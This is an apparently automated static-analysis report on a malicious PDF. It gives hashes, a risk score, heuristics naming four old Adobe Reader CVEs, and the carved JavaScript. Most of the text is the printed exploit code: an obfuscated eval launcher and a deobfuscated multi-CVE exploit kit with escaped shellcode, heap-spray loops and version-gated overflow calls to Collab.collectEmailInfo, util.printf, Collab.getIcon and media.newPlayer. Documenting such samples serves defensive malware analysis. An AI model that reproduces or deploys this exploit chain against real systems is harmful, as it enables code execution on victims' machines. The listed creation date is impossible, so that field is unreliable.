Malicious PDF — malware analysis report

Static analysis result for SHA-256 414df638d88d5e0c…

MALICIOUS

PDF

22.3 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 7259dbbebe0e46446f441c8c4068f0c5 SHA-1: 4d9d1158b7dfaf3a03a39fc2a8d2e13a82c77aee SHA-256: 414df638d88d5e0c18d5f908874bad8d7e5d508223195c00e9762019f62c7d3f
448 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x569A 439 bytes
SHA-256: 656bb2798d828a2c01c702f559a91584b807b60ca0336ed33f91bfaf8ae85aae
Preview script
First 1,000 lines of the extracted script
var ike='';
lvwl = new Date(2010,11,3,2);
var ebha = function(){return {e:eval}}().e;
xcnqm = 'thi'+lvwl.getHours()+'ducer';
rzxi=ebha(xcnqm.replace(2,'s.pro'));
rzxi = rzxi.substr(4);
ar = rzxi.split(',');
var s = '';
w = lvwl.getHours();
var tphro = 'fro'+lvwl.getHours()+'arCode';
tphro=tphro.replace(2,'mCh');
amdrk=String[tphro];
for (i = 0; i < ar.length; i++) {
	yssp = ebha(ar[i]);
	s += amdrk(yssp);
}
ebha(s);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer arithmetic JavaScript at offset 0x23 3636 bytes
SHA-256: 24c4f9bcf23bba3c7c099e6eb8bd2756807d0d5a64406e568e1dad6b10e05b2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5a34%ue2aa%uc3fa%ue5e8%uffff%ub3ff%u5b56%u5a5a%udb04%u06b6%u5a5b%ud35a%ud7bd%u4a15%u35d7%u6b0e%u0d81%u090b%u0909%u0909%u0909%u090f%u3209%u5b5e%u5a5a%u0c0f%u3209%u3435%u5a5a%u2f32%u3628%u0e37%ud432%u5414%ub2b6%u5a12%u5a5a%ub20a%u5a26%u5a5a%u8aa5%u9ed9%u3252%ub515%u5f15%ub20a%u5a36%u5a5a%u8aa5%u9adf%u4d2f%u0e30%ua903%u32f0%ua428%u4ce9%u47b2%u5a5a%u0a5a%u0bb2%u5a5a%ua55a%u098a%ua430%ud332%u5b35%ub2e7%u5a52%u5a5a%ub20a%u5a66%u5a5a%u8aa5%u6b3a%u3e9a%u0ad1%ud16a%u5608%u08d1%ud14e%u7228%u42e3%u5a5a%u6b5a%u6ba5%uf69a%u3b66%u5826%u7a76%u959b%u5b57%ub89d%udbaa%u01a5%u10e6%ud130%u4a18%u48d1%u832f%u1ed3%u467e%u993b%ud13a%u7e36%ud17e%u661f%u0ed1%u225f%ub05b%u10d1%ud142%u7a00%ub15b%u6eb9%ud113%ud16e%ub45b%ua56b%u9a6b%uf6a6%u9ade%u5d2e%u959b%u5b57%ub19d%u61ae%u7e26%u2f72%ud1bb%u7e00%ub15b%ud13c%u1156%u00d1%u5b46%ud1b1%ud15e%ub25b%u1ed3%u467e%u983b%u5a52%ub5b2%ua5a4%u32a5%u2e2e%u602a%u7575%u343b%u6e3d%u3974%u7420%u3939%u3e75%u2a74%u2a32%u3c65%u6867%u7c6f%u673f%u5a69';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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